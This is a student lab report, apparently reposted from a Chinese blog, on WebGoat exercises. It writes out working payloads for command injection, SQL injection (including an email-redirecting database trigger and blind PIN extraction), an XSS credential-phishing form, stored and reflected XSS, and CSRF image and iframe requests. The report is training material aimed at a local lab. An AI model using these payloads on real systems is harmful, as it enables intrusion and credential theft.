Exp9 Web安全基础


 Injection Flaws攻击

  • 命令注入(Command Injection)
  • 数字型SQL注入(Numeric SQL Injection)
  • 日志欺骗(Log Spoofing)
  • stage1 SQL Injection
  • 字符串型注入(String SQL Injection)
  • 数据库后门(Database Backdoors)
  • 数字型盲注入(Blind Numeric SQL Injection)

XSS攻击

  • Phishing with XSS
  • Stored XSS Attacks
  • Reflected XSS Attacks

CSRF攻击

  • Cross Site Request Forgery(CSRF)
  • CSRF Prompt By-Pass

 1.实践过程记录

 安装jdk和webgoat

卸载原jdk,更换jdk版本为1.8,通过java -version检测

下载webgoat-container-7.0.1-war-exec.jar文件

使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。

在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar

在浏览器中输入“http://localhost:8080/WebGoat”,进入页面后,使用提供的用户名密码登录;


Injection Flaws攻击

1.命令注入(Command Injection)

点击 Injection Flaws -> Command Injection

右键点击复选框,选择inspect Element。对源代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。

点击view,查看命令执行结果

2.数字型SQL注入(Numeric SQL Injection)

点击 Injection Flaws -> Numeric SQL Injectio

右键点击复选框,选择inspect Element。对源代码value="101"修改,在101后面添加or 1=1。

点击Go,攻击成功

3.日志欺骗(Log Spoofing)

点击Injection Flaws -> Log Spoofing

在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin

输入密码后点击Login,可以看到webgoat在Login Fail上一行,自己添加的语句在下一行,攻击成功

4. stage1 SQL Injection

点击Injection Flaws -> LAB stage1 :String SQL Injection

在密码框输入' or 1=1 --,登录失败,发现密码输入长度有限制。

密码框右键选择inspect Element对长度进行修改maxlength=20。

重新输入' or 1=1 --,攻击成功

5.字符串型注入(String SQL Injection)

点击Injection Flaws -> String SQL Injection

输入' or 1=1--,即插入永真式1=1,且--注释掉后面的内容,select表中所有数据

6.数据库后门(Database Backdoors)

点击Injection Flaws -> Database Backdoors

输入101,获得用户信息

输入101; update employee set salary=10000

创建触发器,触发器在创建新用户时,将新用户的Email 地址设置为攻击者的地址。

101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE

employee SET email='chm@sohu.com' WHERE userid = NEW.userid

7.数字型盲注入(Blind Numeric SQL Injection)

点击Injection Flaws ->Blind Numeric SQL Injection

有些SQL注入只能通过条件的“真”和“假”进行判断,即页面提示有效或无效。

但也可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;求pin值

输入查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。

输入101 ,页面返回Account number is valid,页面将提示帐号有效

利用AND函数,并上查询条件,若条件为真,则返回结果应提示帐号有效,否则无效

输入可以判断PIN数值是否大于3000的语句,101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') > 10000 );

如果页面提示帐号有效,说明PIN>3000 否则 PIN<=3000

利用二分法,不断尝试最终求出PIN 的值。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins

WHEREcc_number='1111222233334444') = 2364 );


XSS攻击

1.Phishing with XSS

利用xss和html注入制作一个钓鱼网站

在搜索框中输入XSS攻击代码,在已存在的页面中进一步添加元素。XSS攻击代码如下:

</form>
<script>
functionhack(){
XSSImage=newImage;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.phish.user.value+ "&password=" +document.phish.pass.value+ "";
alert("Had this been a real attack... Your credentials were just stolen. User Name =" +document.phish.user.value+ "Password =" +document.phish.pass.value);
}</script>
<formname="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<inputtype="text"name="user">
<br>Enter Password:<br>
<inputtype="password"name= "pass">
<br>
<inputtype="submit"name="login"value="login"onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索,出现要输入用户名密码的表单

输入用户名密码,点击登录,WebGoat显示攻击成功

2.Stored XSS Attacks

创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,

在message中输入<script>alert("lxm attack succeed!");</script>,提交

提交后,再次点击刚刚创建的123帖子,成功弹出窗口,说明攻击成功:

3.Reflected XSS Attacks

这个实验和存储型XSS实验效果相同,但存储型XSS攻击代码是存储在服务器中,反射型XSS攻击需要用户自己去点击链接才能触发XSS代码。

将带有攻击性的URL作为输入源,输入<script>alert("attack succeed!");</script>,点击purchase;


CSRF攻击

1.Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>

Screen=325&menu=900在右侧可见

提交后,消息显示转走用户4000元,实现CSRF攻击。

2.CSRF Prompt By-Pass

在message中写入以下两行攻击代码

<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>

<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>

构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器

transferFunds=5000,transferFunds=CONFIRM

攻击成功


2.回答问题

(1)SQL注入攻击原理,如何防御

原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。

如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。

(2)XSS攻击的原理,如何防御

原理:代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。

如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。

(3)CSRF攻击原理,如何防御

原理:CSRF是借用用户的身份,向web server发送请求,跨站请求伪造。

如何防御:输入验证码来检测用户;设定cookie域。


3.实验总结与体会

通过本次实验,了解了SQL注入攻击,XSS攻击和CSRF的基本原理和操作。在webgoat上的简单注入,修改代码的练习,增加了我对三种攻击方式的理解,

提高了安全意识。

转载于:https://www.cnblogs.com/chm666/p/10923220.html

Exp9 Web安全基础相关推荐

  1. 20164317《网络对抗技术》Exp9 Web安全基础

    Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...

  2. 2018-2019 20165208 网络对抗 Exp9 Web安全基础

    目录 2018-2019 20165208 网络对抗 Exp9 Web安全基础 实验内容 基础问题回答 实践过程记录 1. WebGoat准备 2. SQL注入攻击 2.1 Command Injec ...

  3. 20155209 林虹宇 Exp9 Web安全基础

    Exp9 Web安全基础 XSS 1.Phishing with XSS 跨站脚本攻击,在表单中输入超文本代码 在网页中形成一个自制的登陆表单,然后将结果反馈到自己的主机上. 攻击成功 2.Store ...

  4. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  5. 2018-2019 20165226 Exp9 Web安全基础

    2018-2019 20165226 Exp9 Web安全基础 目录 一.实验内容说明及基础问题回答 二.实验过程 Webgoat准备 XSS攻击 ① Phishing with XSS 跨站脚本钓鱼 ...

  6. 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

    2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...

  7. 20165306 Exp9 Web安全基础

    Exp9 Web安全基础 一.实验概述 0.WebGoat准备工作 (一)SQL注入攻击 1.命令注入(Command Injection) 2.数字型SQL注入(Numeric SQL Inject ...

  8. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  9. Exp9 Web安全基础实践 20164323段钊阳

    网络对抗技术 20164323 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭 ...

最新文章

  1. 20211江西高考成绩查询,江西高考成绩查询系统
  2. VTK:Utilities之GetClassName
  3. python类继承重复_python单例模式,可以继承,不会重复执行初始化函数的版本
  4. SAP Spartacus Translation (翻译) 相关话题
  5. [教程]博客园插入视频教程
  6. createform用法_vue自定义表单生成器form-create使用详解
  7. Java 算法 聪明的美食家
  8. Sqlite中文资料
  9. linux系统查看分区文件系统
  10. js操作Cookie,js设置Cookie值,js读取Cookie值
  11. 遇到一个奇怪的问题——关于VS2013、VS2015中字符集(多字节字符集和Unicode字符集)的选择
  12. 项目管理和软件开发的边界
  13. jQuery推箱子小游戏
  14. 牛客网 Cutting Bamboos 【主席树+二分】
  15. C语言 有两个矩形 求重叠面积,计算两个矩形重叠面积的简单方法
  16. 在Java中构建响应式微服务系统——第三章 构建响应式微服务
  17. 中国金属切削液市场深度研究及未来前景分析报告2022-2028年
  18. 基于stm32之w5500以太网应用
  19. 【摸鱼系列】如何用Python做一个有趣的Loading彩蛋游戏~
  20. 常用网络数据包丢失的分析与处理

热门文章

  1. Oracle 数据库数据排名函数:rank() 和dense_rank() 。
  2. pyqt 槽任意参数_PyQt5快速入门(二)PyQt5信号槽机制
  3. Ug文档服务器,ug服务器
  4. 什么是Servlet?
  5. 053_Result结果
  6. 015_SpringBoot视图层技术thymeleaf-URL表达式
  7. 字符串基本操作 c语言,数据结构C语言字符串的基本操作.doc
  8. Java中关于路径和使用exe4j打包成ext可执行程序的一些小总结
  9. activexobject对象不能创建_【设计模式】建造者模式:你创建对象的方式有它丝滑吗?...
  10. linux链接curl库,Linux利用curl库快速开发http应用